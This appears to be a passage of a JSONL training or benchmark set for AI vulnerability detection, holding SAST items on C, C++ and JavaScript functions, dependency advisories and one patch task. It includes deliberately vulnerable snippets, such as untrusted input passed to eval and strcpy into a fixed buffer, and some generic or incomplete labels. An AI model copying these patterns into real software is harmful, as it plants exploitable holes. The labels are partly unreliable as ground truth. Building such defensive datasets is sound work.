logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int read_exceptions(struct pstore *ps,\n\t\t\t int (*callback)(void *callback_context, chunk_t old,\n\t\t\t\t\t chunk_t new),\n\t\t\t void *callback_context)\n{\n\tint r, full = 1;\n\n\t/*\n\t * Keeping reading chunks and inserting exceptions until\n\t * we find a partially full area.\n\t */\n\tfor (ps->current_area = 0; full; ps->current_area++) {\n\t\tr = area_io(ps, READ);\n\t\tif (r)\n\t\t\treturn r;\n\n\t\tr = insert_exceptions(ps, callback, callback_context, &full);\n\t\tif (r)\n\t\t\treturn r;\n\t}\n \n \tps->current_area--;\n \n \treturn 0;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-4299\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-94", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "function compute(req, res) {\n const value = req.query.id;\n const result = eval(value);\n res.json({ result });\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"title\": \"Code injection via eval\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"lexical_declaration\",\n \"variable_declarator\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"eval\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 27\n }\n ],\n \"explanation\": \"Untrusted input is passed to eval(), allowing arbitrary JavaScript execution.\",\n \"remediation\": \"Never eval untrusted input; use a safe parser or restricted interpreter.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " void UpdateProperty(IBusProperty* ibus_prop) {\n DLOG(INFO) << \"UpdateProperty\";\n DCHECK(ibus_prop);\n ImePropertyList prop_list; // our representation.\n if (!FlattenProperty(ibus_prop, &prop_list)) {\n LOG(ERROR) << \"Malformed properties are detected\";\n return;\n }\n if (!prop_list.empty()) {\n update_ime_property_(language_library_, prop_list);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2804\",\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 2\n },\n {\n \"token\": \"UpdateProperty\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"IBusProperty\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"ibus_prop\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"DLOG\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"INFO\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 13\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \"UpdateProperty\",\n \"ast_node\": \"string_content\",\n \"line\": 2,\n \"col\": 19\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 2,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 34\n },\n {\n \"token\": \"DCHECK\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"ibus_prop\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"ImePropertyList\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"prop_list\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"// our representation.\",\n \"ast_node\": \"comment\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"FlattenProperty\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"ibus_prop\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 36\n },\n {\n \"token\": \"prop_list\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 46\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 49\n },\n {\n \"token\": \"LOG\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"ERROR\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"Malformed properties are detected\",\n \"ast_node\": \"string_content\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 6,\n \"col\": 54\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 55\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"prop_list\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"empty\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 9,\n \"col\": 28\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "g_deinit(void)\n{\n#if defined(_WIN32)\n WSACleanup();\n#endif\n g_remove_dir(g_temp_base);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"xrdp\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int avpriv_ac3_parse_header(AC3HeaderInfo **phdr, const uint8_t *buf,\n size_t size)\n{\n GetBitContext gb;\n AC3HeaderInfo *hdr;\n int err;\n\n if (!*phdr)\n *phdr = av_mallocz(sizeof(AC3HeaderInfo));\n if (!*phdr)\n return AVERROR(ENOMEM);\n hdr = *phdr;\n \n init_get_bits8(&gb, buf, size);\n err = ff_ac3_parse_header(&gb, hdr);\n if (err < 0)\n return AVERROR_INVALIDDATA;\n\n return get_bits_count(&gb);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-13303\",\n \"project\": \"FFmpeg\",\n \"vulnerable_lines\": [\n 14\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"avpriv_ac3_parse_header\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"AC3HeaderInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"phdr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 39\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"GetBitContext\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"gb\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"AC3HeaderInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"hdr\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"phdr\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"phdr\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \"av_mallocz\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 26\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 9,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 33\n },\n {\n \"token\": \"AC3HeaderInfo\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 48\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 49\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 10,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \"phdr\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 14\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \"AVERROR\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 23\n },\n {\n \"token\": \"ENOMEM\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 30\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 31\n },\n {\n \"token\": \"hdr\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"phdr\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 12\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.ChakraCore\nInstalled version: <1.8.1\nSummary: ChakraCore RCE Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-v3xp-3wpq-rvhp\",\n \"cve\": \"CVE-2018-0860\",\n \"aliases\": [\n \"CVE-2018-0860\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.ChakraCore\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.8.1\",\n \"fixed_version\": \"1.8.1\",\n \"finding\": \"ChakraCore RCE Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.ChakraCore to 1.8.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int in_group_p(gid_t grp)\n{\n\tint retval = 1;\n\tif (grp != current->fsgid)\n\t\tretval = groups_search(current->group_info, grp);\n\treturn retval;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int jas_cmpxformseq_resize(jas_cmpxformseq_t *pxformseq, int n)\n{\n\tjas_cmpxform_t **p;\n\tassert(n >= pxformseq->numpxforms);\n\tp = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :\n\t jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));\n\tif (!p) {\n\t\treturn -1;\n\t}\n\tpxformseq->pxforms = p;\n\tpxformseq->maxpxforms = n;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: stdlib\nInstalled version: 1.18.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"stdlib\",\n \"installed_version\": \"1.18.3\",\n \"note\": \"stdlib 1.18.3 is at or above the fixed version for GO-2022-0533; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-407", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @chenglou/pretext\nInstalled version: <0.0.5\nSummary: Pretext: Algorithmic Complexity (DoS) in the text analysis phase", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-5478-66c3-rhxr\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": \"CWE-407\",\n \"ecosystem\": \"npm\",\n \"package\": \"@chenglou/pretext\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.0.5\",\n \"fixed_version\": \"0.0.5\",\n \"finding\": \"Pretext: Algorithmic Complexity (DoS) in the text analysis phase\",\n \"remediation\": \"Upgrade @chenglou/pretext to 0.0.5 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: nuxt-og-image\nInstalled version: <6.2.5\nSummary: Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-mg36-wvcr-m75h\",\n \"cve\": \"CVE-2026-34405\",\n \"aliases\": [\n \"CVE-2026-34405\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"nuxt-og-image\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <6.2.5\",\n \"fixed_version\": \"6.2.5\",\n \"finding\": \"Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes\",\n \"remediation\": \"Upgrade nuxt-og-image to 6.2.5 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "ssize_t utf16_to_utf8_length(const char16_t *src, size_t src_len)\n{\n if (src == NULL || src_len == 0) {\n return -1;\n }\n\n size_t ret = 0;\n\n const char16_t* const end = src + src_len;\n while (src < end) {\n if ((*src & 0xFC00) == 0xD800 && (src + 1) < end\n && (*++src & 0xFC00) == 0xDC00) {\n ret += 4;\n src++;\n } else {\n ret += utf32_codepoint_utf8_length((char32_t) *src++);\n }\n }\n return ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-3861\",\n \"fixed_code\": \"ssize_t utf16_to_utf8_length(const char16_t *src, size_t src_len)\\n{\\n if (src == NULL || src_len == 0) {\\n return -1;\\n }\\n\\n size_t ret = 0;\\n\\n const char16_t* const end = src + src_len;\\n while (src < end) {\\n if ((*src & 0xFC00) == 0xD800 && (src + 1) < end\\n && (*(src + 1) & 0xFC00) == 0xDC00) {\\n ret += 4;\\n src += 2;\\n } else {\\n ret += utf32_codepoint_utf8_length((char32_t) *src++);\\n }\\n }\\n return ret;\\n}\\n\",\n \"change_summary\": \"libutils/Unicode.cpp: Correct length computation and add checks for utf16->utf8\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-120", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "void handle(const char *userInput) {\n char buf[64];\n strcpy(buf, userInput);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-120\",\n \"cwe_name\": \"Classic Buffer Overflow\",\n \"title\": \"Buffer overflow via strcpy in C++\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"strcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"userInput\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 25\n }\n ],\n \"explanation\": \"C-style strcpy into a fixed buffer bypasses C++ bounds safety.\",\n \"remediation\": \"Use bounded copies (strncpy/snprintf/std::string) and validate input length against the buffer size.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int khugepaged_enter_vma_merge(struct vm_area_struct *vma)\n{\n\tunsigned long hstart, hend;\n\tif (!vma->anon_vma)\n\t\t/*\n\t\t * Not yet faulted in so we will register later in the\n \t\t * page fault if needed.\n \t\t */\n \t\treturn 0;\n\tif (vma->vm_file || vma->vm_ops)\n \t\t/* khugepaged not yet working on file or special mappings */\n \t\treturn 0;\n\tVM_BUG_ON(is_linear_pfn_mapping(vma) || is_pfn_mapping(vma));\n \thstart = (vma->vm_start + ~HPAGE_PMD_MASK) & HPAGE_PMD_MASK;\n \thend = vma->vm_end & HPAGE_PMD_MASK;\n \tif (hstart < hend)\n\t\treturn khugepaged_enter(vma);\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2479\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 10,\n 13\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"khugepaged_enter_vma_merge\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"vm_area_struct\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"vma\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": 